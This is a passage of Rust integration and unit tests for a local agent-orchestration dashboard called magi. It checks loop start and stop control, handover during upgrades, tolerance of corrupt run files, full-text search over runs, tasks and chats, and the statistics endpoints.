        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
    }

    #[tokio::test]
    async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
        let f = Fixture::start().await;
        let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(first.status, 200, "{}", first.body);

        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(
            again.status, 409,
            "two loops on one queue race for the same claims: {}",
            again.body
        );
        assert!(
            again.json()["error"]
                .as_str()
                .is_some_and(|e| e.contains("already running the loop")),
            "the refusal has to say why: {}",
            again.body
        );
        assert_eq!(
            f.get("/api/loop").await.json()["running"],
            true,
            "and the loop that was already running is untouched by it"
        );

        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
    }

    #[tokio::test]
    async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
        let f = Fixture::start().await;
        f.post("/api/loop", Some(r#"{"running":true}"#)).await;

        let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
        assert_eq!(
            res.status, 200,
            "the answer must not wait for the loop: a run in flight is tens of \
             minutes and the operator is holding a phone: {}",
            res.body
        );

        let view = settled(&f, |v| v["running"] == false).await;
        assert_eq!(view["owned"], false);
        assert_eq!(
            view["stopping"], false,
            "a loop that has stopped is not still stopping: {view}"
        );
        assert_eq!(
            view["last_error"],
            Value::Null,
            "a loop that was asked to stop did not fail: {view}"
        );

        // Idempotent, because the operator cannot tell a slow stop from a lost
        // one and will press it again.
        let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
        assert_eq!(twice.status, 200, "{}", twice.body);
    }

    #[tokio::test]
    async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
        let f = Fixture::start().await;
        // How the operator has been doing it: a `magi serve` of their own,
        // heartbeat fresh, in the same home this UI reads.
        write_daemon(f.home.path(), Timestamp::now());

        let view = f.get("/api/loop").await.json();
        assert_eq!(view["running"], false, "not in this process: {view}");
        assert_eq!(view["owned"], false, "and not this process's to control");
        assert_eq!(
            view["daemon"]["running"], true,
            "but a loop is alive somewhere, which is what the UI must say"
        );
        assert_eq!(view["daemon"]["pid"], 4242);

        for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
            let res = f.post("/api/loop", Some(body)).await;
            assert_eq!(
                res.status, 409,
                "neither button may pretend to work on someone else's loop: {}",
                res.body
            );
            assert!(
                res.json()["error"]
                    .as_str()
                    .is_some_and(|e| e.contains("4242")),
                "the refusal has to name the process the operator must go to: {}",
                res.body
            );
        }
        assert_eq!(
            f.get("/api/loop").await.json()["running"],
            false,
            "and the refusal started nothing"
        );
    }

    #[tokio::test]
    async fn a_stale_status_file_is_not_a_foreign_owner() {
        let f = Fixture::start().await;
        write_daemon(
            f.home.path(),
            Timestamp::now() - jiff::SignedDuration::from_secs(60),
        );

        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(
            res.status, 200,
            "a daemon killed a minute ago must not lock the loop out of its \
             own home for good: {}",
            res.body
        );
        assert_eq!(res.json()["running"], true);

        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
    }

    #[tokio::test]
    async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
        let f = Fixture::start().await;
        let before = f.get("/api/health").await.json()["loop_rev"]
            .as_u64()
            .expect("a loop revision");

        f.post("/api/loop", Some(r#"{"running":true}"#)).await;

        let after = f.get("/api/health").await.json()["loop_rev"]
            .as_u64()
            .expect("a loop revision");
        assert!(
            after > before,
            "the loop is in-process state, so this counter is the only thing \
             that tells a second device the first one started it: {before} -> \
             {after}"
        );

        f.post("/api/loop", Some(r#"{"running":false}"#)).await;
    }

    #[tokio::test]
    async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
        let f = Fixture::with_loop(launch_broken).await;

        let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(
            res.status, 200,
            "starting it is not the failure: {}",
            res.body
        );

        let view = settled(&f, |v| v["last_error"].is_string()).await;
        assert_eq!(
            view["running"], false,
            "a loop that died must not read as running, or the operator has \
             nothing to press: {view}"
        );
        assert_eq!(view["owned"], false);
        assert!(
            view["last_error"]
                .as_str()
                .is_some_and(|e| e.contains("read-only file system")),
            "the phone is where a loop that died at 3am is visible: {view}"
        );

        // And it can be started again: the corpse was reaped, not left to
        // occupy the slot.
        let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(again.status, 200, "{}", again.body);
        assert!(
            again.json()["last_error"]
                .as_str()
                .is_none_or(|e| !e.contains("read-only file system")),
            "a fresh start does not keep showing why the last one died: {}",
            again.body
        );
    }

    /// An upgrade parks the run in flight before it restarts, and a park waits
    /// for the node - up to `timeout_implement`, an hour by default. The deck
    /// has to answer for all of it: the operator has just been told a run is
    /// finishing first, and this address is the only place that says how it is
    /// going. It did not, once - the listener went with the `select!` arm that
    /// began the handover, and the phone got `Cannot reach magi: Failed to
    /// fetch` for the rest of the wave.
    ///
    /// The other half is the older rule: the address must be free *before* the
    /// successor is started, or it dies on "address already in use" with its
    /// stdio sent to null and the deck never comes back.
    #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
    async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
        let home = TempDir::new().expect("temp home");
        let runs = home.path().join("runs");
        std::fs::create_dir_all(&runs).expect("runs dir");
        let ui = Ui::new(
            Queue::at(home.path().join("queue")),
            Questions::at(home.path().join("questions")),
            Talks::at(home.path().join("talks")),
            runs,
            home.path().to_path_buf(),
            PathBuf::from("/repo/magi"),
        )
        .with_worktrees_root(home.path().join("wt"))
        .with_launch(launch_knocking_on_the_way_out);
        let looping = ui.looping();
        let turns = ui.turns();
        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
            .await
            .expect("bind loopback");
        let addr = listener.local_addr().expect("local addr");
        *PARK_KNOCK.lock().expect("park knock") = Some(addr);
        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());

        let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
        assert_eq!(started.status, 200, "the loop starts: {}", started.body);

        // The successor's whole job, and the one thing it cannot do while this
        // process still holds the socket.
        //
        // One bind is not enough, and the reason is not this process's order of
        // operations: aborting the accept loop drops the listener, but axum
        // serves each accepted connection on a task of its own, and those are
        // not aborted. The requests above left sockets on this very address,
        // and under BSD's bind rules (macOS) a live socket on 127.0.0.1:port
        // makes a fresh bind fail with EADDRINUSE until its task is dropped.
        // Production absorbs that in `bind_waiting`; so does this. Only
        // `AddrInUse` is retried, and the listener is released before the
        // closure returns - were the order wrong, the listener would outlive
        // the closure and every attempt would fail. Inferred from the bind
        // rules and the code; not reproduced on macOS.
        let bound = std::sync::Mutex::new(None);
        hand_over(
            home.path(),
            &looping,
            &turns,
            &|_: &[String]| Duration::from_secs(5),
            served,
            |_| {
                let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
                let attempt = loop {
                    match std::net::TcpListener::bind(addr) {
                        Ok(l) => {
                            drop(l);
                            break Ok(());
                        }
                        Err(e)
                            if e.kind() == std::io::ErrorKind::AddrInUse
                                && std::time::Instant::now() < deadline =>
                        {
                            std::thread::sleep(std::time::Duration::from_millis(10));
                        }
                        Err(e) => break Err(e.to_string()),
                    }
                };
                *bound.lock().expect("bound") = Some(attempt);
                Ok(1)
            },
        )
        .await
        .expect("hand over");

        assert_eq!(
            *PARK_HEARD.lock().expect("park heard"),
            Some(200),
            "the deck must answer while the loop is parking"
        );
        let attempt = bound
            .lock()
            .expect("bound")
            .take()
            .expect("the successor was started");
        assert!(
            attempt.is_ok(),
            "and the address must be free by the time it is: {attempt:?}"
        );
    }

    #[tokio::test]
    async fn a_newer_daemon_status_file_still_renders() {
        let f = Fixture::start().await;
        // A field this build has never heard of must not turn the status line
        // into a 500; that is the whole reason the reader is permissive.
        std::fs::write(
            f.home.path().join("daemon.json"),
            serde_json::json!({
                "schema": 2,
                "updated_at": Timestamp::now().to_string(),
                "idle": true,
                "surprise": { "nested": [1, 2, 3] },
            })
            .to_string(),
        )
        .expect("write daemon.json");

        let health = f.get("/api/health").await;

        assert_eq!(health.status, 200);
        assert_eq!(health.json()["daemon"]["running"], true);
    }

    #[tokio::test]
    async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
        let f = Fixture::start().await;
        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
        let broken = f.runs().join("20260902-140502-bad");
        std::fs::create_dir_all(&broken).expect("run dir");
        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");

        let list = f.get("/api/runs").await;
        let detail = f.get("/api/runs/20260902-140502-bad").await;

        assert_eq!(list.status, 200);
        let listed = list.json();
        let ids: Vec<&str> = listed
            .as_array()
            .expect("an array")
            .iter()
            .map(|r| r["id"].as_str().expect("an id"))
            .collect();
        assert_eq!(
            ids,
            vec!["20260902-140501-good"],
            "one unreadable run must not cost the operator the whole history"
        );
        assert_eq!(detail.status, 500);
        assert!(
            detail.json()["error"]
                .as_str()
                .is_some_and(|e| e.contains("run.json")),
            "the failure names the file to look at: {}",
            detail.body
        );
        // A skipped run has to be countable somewhere, or the UI shows an
        // empty history with nothing to explain it - which is exactly what a
        // directory full of older-schema runs looks like.
        let health = f.get("/api/health").await;
        assert_eq!(health.json()["runs_unreadable"], 1);
    }

    /// Search matches nested run text, ANDs its terms and counts unreadable runs.
    #[tokio::test]
    async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
        let f = Fixture::start().await;
        let runs = f.runs();
        write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
        write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
        // Text three levels down, in a shape no current RunState has: an older
        // schema must still search.
        let path = runs.join("20260902-140502-bbbb").join("run.json");
        let mut v: serde_json::Value =
            serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
        v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
        std::fs::write(&path, v.to_string()).unwrap();
        std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
        std::fs::write(
            runs.join("20260902-140503-cccc").join("run.json"),
            "{ not json",
        )
        .unwrap();

        let res = f.get("/api/search?scope=runs&q=quokka").await;
        assert_eq!(res.status, 200, "{}", res.body);
        let v = res.json();
        assert_eq!(v["total"], 1, "{v}");
        assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
        assert_eq!(v["hits"][0]["field"], "text");
        assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
        let parts = v["hits"][0]["snippet"].as_array().unwrap();
        assert!(
            parts
                .iter()
                .any(|p| p["hit"] == true && p["text"] == "Quokka"),
            "{v}"
        );
        let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
        assert_eq!(
            flat, "The Quokka leaks across threads",
            "whitespace is collapsed"
        );

        // Terms are ANDed, across different fields, case-insensitively.
        let both = f
            .get("/api/search?scope=runs&q=MOBILE%20quokka")
            .await
            .json();
        assert_eq!(both["total"], 1, "{both}");
        let neither = f
            .get("/api/search?scope=runs&q=quokka%20zebra")
            .await
            .json();
        assert_eq!(neither["total"], 0, "{neither}");
        // Everything in the task statement is reachable, not only the row text.
        let stmt = f
            .get("/api/search?scope=runs&q=mobile%20first")
            .await
            .json();
        assert_eq!(stmt["total"], 2, "{stmt}");
        let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
        assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
    }

    #[test]
    fn snippet_ignores_terms_longer_than_the_field() {
        let terms = ["ok".to_owned(), "elephant".to_owned()];
        let parts = snippet_of("ok", &terms);
        assert_eq!(
            parts,
            vec![SnippetPart {
                text: "ok".to_owned(),
                hit: true
            }]
        );
    }

    #[test]
    fn snippet_marks_matches_longer_than_the_window() {
        let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
        let hit_len = |parts: &[SnippetPart]| -> usize {
            parts
                .iter()
                .filter(|p| p.hit)
                .map(|p| p.text.chars().count())
                .sum()
        };
        let total =
            |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };

        let long = "a".repeat(120);
        let parts = snippet_of(&long, std::slice::from_ref(&long));
        assert!(hit_len(&parts) > 0, "{parts:?}");
        assert!(total(&parts) <= cap);

        let ja = "あ".repeat(130);
        let parts = snippet_of(&ja, std::slice::from_ref(&ja));
        assert!(hit_len(&parts) > 0, "{parts:?}");
        assert!(total(&parts) <= cap);

        // A short hit, then one straddling the window's end.
        let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
        let term = format!("ab{}", "c".repeat(100));
        let parts = snippet_of(&text, &["ab ".to_owned(), term]);
        assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
        assert!(total(&parts) <= cap);

        // Only the head matches: not highlighted.
        let text = format!("{}z", "a".repeat(119));
        let parts = snippet_of(&text, &["a".repeat(120)]);
        assert_eq!(hit_len(&parts), 0, "{parts:?}");
    }

    #[tokio::test]
    async fn search_caps_hits_and_snippet_length() {
        let f = Fixture::start().await;
        let runs = f.runs();
        for n in 0..(SEARCH_MAX_HITS + 5) {
            write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
        }
        let v = f.get("/api/search?scope=runs&q=web").await.json();
        assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
        assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
        assert_eq!(v["truncated"], true);
        // Every listed run hit carries its list row for the page's filters.
        assert!(
            v["hits"]
                .as_array()
                .unwrap()
                .iter()
                .all(|h| h["run"]["status"] == "merged")
        );

        let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
        let parts = snippet_of(&long, &["needle".to_owned()]);
        let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
        assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
        assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
    }

    #[tokio::test]
    async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
        let f = Fixture::start().await;
        let queue = f.queue();
        let mut t = Task::new(
            "short title".to_owned(),
            "line one\nthe hidden Armadillo detail".to_owned(),
            PathBuf::from("/repo/magi"),
            Source::Agent {
                run: "r1".to_owned(),
                node: "chat".to_owned(),
            },
        );
        t.last_error = Some("disk full on /tmp".to_owned());
        queue.put(&mut t).expect("file the task");

        for (q, want) in [
            ("armadillo", 1),
            ("disk%20FULL", 1),
            ("chat", 1),
            ("queued", 1),
            ("short%20nothing", 0),
        ] {
            let v = f
                .get(&format!("/api/search?scope=tasks&q={q}"))
                .await
                .json();
            assert_eq!(v["total"], want, "{q}: {v}");
        }
        for bad in [
            "/api/search?scope=tasks&q=",
            "/api/search?scope=tasks&q=%20",
            "/api/search?scope=chats&q=",
            "/api/search?scope=chats&q=%20",
            "/api/search?scope=nope&q=a",
            "/api/search?q=a",
        ] {
            assert_eq!(f.get(bad).await.status, 400, "{bad}");
        }
    }

    /// Write one conversation file the way the store reads it back.
    fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
            .expect("seat value");
        let turns: Vec<serde_json::Value> = turns
            .iter()
            .map(|(who, body)| {
                serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
            })
            .collect();
        let doc = serde_json::json!({
            "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
            "status": status, "turns": turns,
            "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
            "seat": seat,
        });
        let dir = f.home.path().join("talks");
        std::fs::create_dir_all(&dir).expect("talks dir");
        std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
    }

    #[tokio::test]
    async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
        let f = Fixture::start().await;
        write_talk(
            &f,
            "20260901-000001-aaaa",
            "open",
            &[
                (
                    "operator",
                    "\n  Why does the Pangolin cache expire?\nsecond line",
                ),
                ("agent", "Because the TTL is thirty seconds."),
            ],
        );
        write_talk(
            &f,
            "20260901-000002-bbbb",
            "closed",
            &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
        );
        std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");

        let search = |q: &'static str| {
            let f = &f;
            async move {
                f.get(&format!("/api/search?scope=chats&q={q}"))
                    .await
                    .json()
            }
        };

        let v = search("PANGOLIN").await;
        assert_eq!(v["scope"], "chats");
        assert_eq!(v["total"], 1, "{v}");
        assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
        assert_eq!(v["hits"][0]["field"], "title");
        assert_eq!(v["unreadable"], 1, "{v}");
        let marked: Vec<&str> = v["hits"][0]["snippet"]
            .as_array()
            .unwrap()
            .iter()
            .filter(|p| p["hit"] == true)
            .map(|p| p["text"].as_str().unwrap())
            .collect();
        assert_eq!(marked, ["Pangolin"]);

        // An agent turn, in a closed conversation.
        let v = search("zebra").await;
        assert_eq!(v["total"], 1, "{v}");
        assert_eq!(v["hits"][0]["field"], "agent");
        // Words may sit in different turns; all must be present.
        assert_eq!(search("pangolin%20thirty").await["total"], 1);
        assert_eq!(search("pangolin%20zebra").await["total"], 0);
        // Bookkeeping is not searched.
        for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
            assert_eq!(search(q).await["total"], 0, "{q}");
        }
        // The first line only is the title; the second line is still a turn.
        assert_eq!(search("second").await["hits"][0]["field"], "operator");
        // Open conversations are listed before closed ones.
        assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");

        let v = f.get("/api/search?scope=nope&q=a").await;
        assert_eq!(v.status, 400);
        assert!(
            v.body.contains("scope must be runs, tasks or chats"),
            "{}",
            v.body
        );
    }

    #[test]
    fn a_question_card_links_a_task_id_to_the_task_page() {
        let start = APP_JS
            .find("function updateAskCard(")
            .expect("updateAskCard exists");
        let body = &APP_JS[start..];
        let body = &body[..body.find("\n}\n").expect("function end")];
        assert!(body.contains("question.run_is_task"));
        assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
        assert!(body.contains("`#/runs/${question.run}`"));
        assert!(body.contains("\"task\" : \"run\""));
    }

    #[test]
    fn plain_text_message_surfaces_go_through_linkify() {
        assert!(APP_JS.contains("function linkify("));
        assert!(!APP_JS.contains("class: \"event-msg\", text:"));
        assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
        assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
        assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
        assert!(!APP_JS.contains("innerHTML = text"));
    }

    #[test]
    fn implementation_rate_views_keep_independent_samples() {
        for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
            let a = stats::AgentStats {
                competitive_entered: competitive_n,
                competitive_wins: usize::from(competitive_n > 0),
                solo_entered: solo_n,
                solo_adopted: 2 * usize::from(solo_n > 0),
                ..Default::default()
            };
            let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
            for (key, n, numerator) in [
                ("competitive_win_rate", competitive_n, a.competitive_wins),
                ("solo_adoption_rate", solo_n, a.solo_adopted),
            ] {
                if n == 0 {
                    assert!(v[key].is_null());
                } else {
                    assert_eq!(v[key]["denominator"], n);
                    assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
                }
            }
        }
        assert!(APP_JS.contains("rate: a.competitive_win_rate"));
        assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
        assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
    }

    #[test]
    fn stats_bars_share_one_id_keyed_plan() {
        let start = APP_JS
            .find("function statsBarRows(")
            .expect("statsBarRows exists");
        let body = &APP_JS[start..];
        let body = &body[..body.find("\n}\n").expect("function end")];
        assert!(body.contains("statsBarPlan(rows)"));
        assert!(body.contains("statsAgentTone(row.agent)"));
        assert!(!body.contains("candTone(i)"));
        assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
        for root in [
            "stats-agents-bars",
            "stats-solo-bars",
            "stats-reviewers-bars",
        ] {
            assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
        }
    }

    #[test]
    fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
        let start = APP_JS
            .find("function renderStatsReviewerScatter(")
            .expect("renderStatsReviewerScatter exists");
        let body = &APP_JS[start..];
        let body = &body[..body.find("\n}\n").expect("function end")];
        assert!(body.contains("statsScatterPlan(reviewers)"));
        assert!(body.contains("statsAgentTone(d.agent)"));
        assert!(APP_JS.contains("function statsScatterPlan("));
        assert!(
            APP_JS.contains("d.submitted < STATS_LOW_N")
                || APP_JS.contains("r.submitted < STATS_LOW_N")
        );
        assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
        assert!(APP_CSS.contains(".precision-scatter"));
    }

    #[test]
    fn advisor_reflection_is_drawn_as_stacked_segments() {
        assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
        assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
        let html = include_str!("../assets/ui/index.html");
        assert!(html.contains("Approximate"));
        for label in ["reflected strongly", "faint", "no proposal"] {
            assert!(html.contains(label));
        }
        let css = include_str!("../assets/ui/app.css");
        for c in ["refl-strong", "refl-faint", "refl-absent"] {
            assert!(css.contains(&format!(".{c} {{")));
        }
    }

    #[test]
    fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
        assert!(APP_JS.contains("function statsDailyPlan("));
        assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
        assert!(INDEX_HTML.contains("id=\"stats-daily\""));
    }

    #[test]
    fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
        let start = APP_JS
            .find("function scheduleSearch(")
            .expect("scheduleSearch exists");
        let body = &APP_JS[start..];
        let body = &body[..body.find("\n}\n").expect("function end")];
        assert!(body.contains("s.seq += 1"));
    }

    /// The dashboard reads every run's state itself rather than trusting a
    /// separately-maintained count, so an unreadable run must be counted the
    /// same way `/api/health` counts it - never silently dropped the way the
    /// CLI's own `stats::load_all` drops it.
    #[tokio::test]
    async fn stats_runs_unreadable_matches_health() {
        let f = Fixture::start().await;
        write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
        let broken = f.runs().join("20260902-140502-bad");
        std::fs::create_dir_all(&broken).expect("run dir");
        std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");

        let stats = f.get("/api/stats").await;
        let health = f.get("/api/health").await;

        assert_eq!(stats.status, 200);
        assert_eq!(stats.json()["totals"]["runs"], 1);
        assert_eq!(stats.json()["runs_unreadable"], 1);
        assert_eq!(
            stats.json()["runs_unreadable"],
            health.json()["runs_unreadable"],
            "the dashboard and /api/health must never disagree about how many \
             runs could not be read"
        );
    }

    #[tokio::test]
    async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
        let f = Fixture::start().await;
        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
        write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
        write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);

        let totals = &f.get("/api/stats").await.json()["totals"];
        assert_eq!(totals["runs"], 3);
        assert_eq!(totals["merged"], 1);
        assert_eq!(totals["stalled"], 1);
        assert_eq!(totals["in_progress"], 1);
        // A stalled run must never read as blocked/merged/ready - it is its
        // own bucket, not folded into a "decided" one.
        assert_eq!(totals["blocked"], 0);
        assert_eq!(totals["ready"], 0);
    }

    #[tokio::test]
    async fn stats_advisors_report_proposals_and_reflection() {
        use crate::advise::{Advice, AdvisorRecord, Reflection};
        use crate::verdict::Proposal;

        let f = Fixture::start().await;
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "task".to_owned(),
            Config::default(),
        );
        state.id = "20260902-140501-a".to_owned();
        state.status = RunStatus::Merged;
        state.advice = Some(Advice {
            records: vec![
                AdvisorRecord {
                    seat: "advisor-1".to_owned(),
                    agent: "alpha".to_owned(),
                    proposal: Some(Proposal {
                        approach: "do it".to_owned(),
                        key_tradeoff: "speed over memory".to_owned(),
                        risks: Vec::new(),
                        touches: Vec::new(),
                        why_not_naive: "breaks under load".to_owned(),
                    }),
                    error: None,
                    duration_ms: 0,
                    reflection: Reflection::Strong,
                },
                AdvisorRecord {
                    seat: "advisor-2".to_owned(),
                    agent: "alpha".to_owned(),
                    proposal: None,
                    error: Some("timed out".to_owned()),
                    duration_ms: 0,
                    reflection: Reflection::Absent,
                },
            ],
            synthesis: Some("blended brief".to_owned()),
        });
        let dir = f.runs().join(&state.id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");

        // `alpha` is in no roster here; this test is about the rates.
        let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
        let alpha = advisors
            .as_array()
            .expect("an array")
            .iter()
            .find(|a| a["agent"] == "alpha")
            .expect("alpha row");
        assert_eq!(alpha["seated"], 2);
        assert_eq!(alpha["proposed"], 1);
        assert_eq!(alpha["absent"], 1);
        assert_eq!(alpha["strong"], 1);
        assert_eq!(alpha["faint"], 0);
        assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
    }

    #[tokio::test]
    async fn stats_hides_agents_outside_the_roster_unless_all() {
        use crate::run::Candidate;
        let repo = TempDir::new().expect("repo dir");
        std::fs::write(
            repo.path().join("magi.toml"),
            "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
        )
        .expect("magi.toml");
        let f = Fixture::with_repo(repo.path().to_path_buf()).await;
        let mut state = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "task".to_owned(),
            Config::default(),
        );
        state.id = "20260902-140501-a".to_owned();
        state.status = RunStatus::Merged;
        for (label, agent) in [('A', "keep"), ('B', "retired")] {
            let mut c: Candidate = serde_json::from_value(serde_json::json!({
                "index": 0, "label": label.to_string(), "agent": agent,
                "branch": "b", "worktree": "/w",
            }))
            .expect("candidate");
            c.label = label;
            state.candidates.push(c);
        }
        let dir = f.runs().join(&state.id);
        std::fs::create_dir_all(&dir).expect("run dir");
        std::fs::write(
            dir.join("run.json"),
            serde_json::to_string_pretty(&state).expect("serialize run"),
        )
        .expect("write run.json");

        let agents_of = |v: &serde_json::Value| -> Vec<String> {
            v["agents"]
                .as_array()
                .expect("array")
                .iter()
                .map(|a| a["agent"].as_str().unwrap().to_owned())
                .collect()
        };
        let hidden = f.get("/api/stats").await.json();
        assert_eq!(agents_of(&hidden), ["keep"]);
        assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
        assert_eq!(hidden["totals"]["runs"], 1);

        let all = f.get("/api/stats?all=true").await.json();
        assert_eq!(agents_of(&all).len(), 2);
        assert_eq!(all["retired_hidden"], serde_json::json!([]));
        // Verify competitive and solo keys exist on agent entries
        let keep_agent = all["agents"]
            .as_array()
            .unwrap()
            .iter()
            .find(|a| a["agent"] == "keep")
            .unwrap();
        assert_eq!(keep_agent["competitive_entered"], 1);
        assert_eq!(keep_agent["competitive_wins"], 0);
        assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
        assert_eq!(keep_agent["solo_entered"], 0);
        assert_eq!(keep_agent["solo_adopted"], 0);
        assert!(keep_agent["solo_adoption_rate"].is_null());
    }

    #[tokio::test]
    async fn stats_release_bumps_split_clean_from_attention() {
        use crate::run::ReleaseBump;

        let f = Fixture::start().await;

        let mut clean = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "task".to_owned(),
            Config::default(),
        );
        clean.id = "20260902-140501-a".to_owned();
        clean.status = RunStatus::Merged;
        clean.release_bump = Some(ReleaseBump {
            pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
            version: Some("1.0.0".to_owned()),
            automerge_enabled: true,
            merged_directly: false,
            local: false,
            release: None,
            problem: None,
            action_required: None,
        });

        let mut blocked = RunState::new(
            PathBuf::from("/repo/magi"),
            "main".to_owned(),
            "0123456789abcdef".to_owned(),
            "task".to_owned(),
            Config::default(),
        );
        blocked.id = "20260902-140502-b".to_owned();
        blocked.status = RunStatus::Merged;
        blocked.release_bump = Some(ReleaseBump {
            pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
            version: Some("1.0.1".to_owned()),
            automerge_enabled: false,
            merged_directly: false,
            local: false,
            release: None,
            problem: Some("checks red".to_owned()),
            action_required: Some("look at the PR".to_owned()),
        });

        for state in [&clean, &blocked] {
            let dir = f.runs().join(&state.id);
            std::fs::create_dir_all(&dir).expect("run dir");
            std::fs::write(
                dir.join("run.json"),
                serde_json::to_string_pretty(state).expect("serialize run"),
            )
            .expect("write run.json");
        }

        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
        assert_eq!(bumps["merged"], 2);
        assert_eq!(bumps["recorded"], 2);
        assert_eq!(bumps["pr_opened"], 2);
        assert_eq!(bumps["automerge_enabled"], 1);
        assert_eq!(bumps["needs_attention"], 1);
        assert_eq!(bumps["clean"], 1);
        assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
        assert_eq!(bumps["attention_rate"]["pct"], 50.0);
    }

    #[tokio::test]
    async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
        let f = Fixture::start().await;
        write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);

        let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
        assert_eq!(bumps["merged"], 1);
